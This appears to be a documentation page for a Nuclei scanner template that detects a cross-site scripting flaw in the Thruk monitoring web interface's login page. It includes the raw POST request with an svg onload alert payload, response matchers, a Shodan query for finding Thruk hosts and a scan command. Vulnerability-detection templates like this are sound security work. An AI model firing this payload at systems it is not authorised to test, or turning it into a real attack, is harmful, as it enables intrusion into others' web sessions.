Thruk Monitoring Webinterface - Cross-Site Scripting
ID: thruk-xss
Severity: high
Author: pikpikcu,ritikchaddha
Tags: thruk,xss
Description
Section titled “Description”Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
YAML Source
Section titled “YAML Source”id: thruk-xss
info: name: Thruk Monitoring Webinterface - Cross-Site Scripting author: pikpikcu,ritikchaddha severity: high description: | Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi. reference: - https://www.thruk.org/download.html - https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 shodan-query: http.html:"Thruk" product: thruk vendor: thruk tags: thruk,xss
http: - raw: - | POST /thruk/cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login
matchers-condition: and matchers: - type: word words: - "<svg/onload=alert(document.domain)>\"@gmail.com') called at"
- type: word part: header words: - "text/html"
- type: status status: - 500# digest: 490a00463044022020480387756450ea940fc64d6f5e93fec7b757cbceaa12d0d648ae34ccd816ee02203374ec4bae1d8caa78932c248e4d0c2ec395f1f5c65f686a8ace5c2ad89d798b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/thruk-xss.yaml"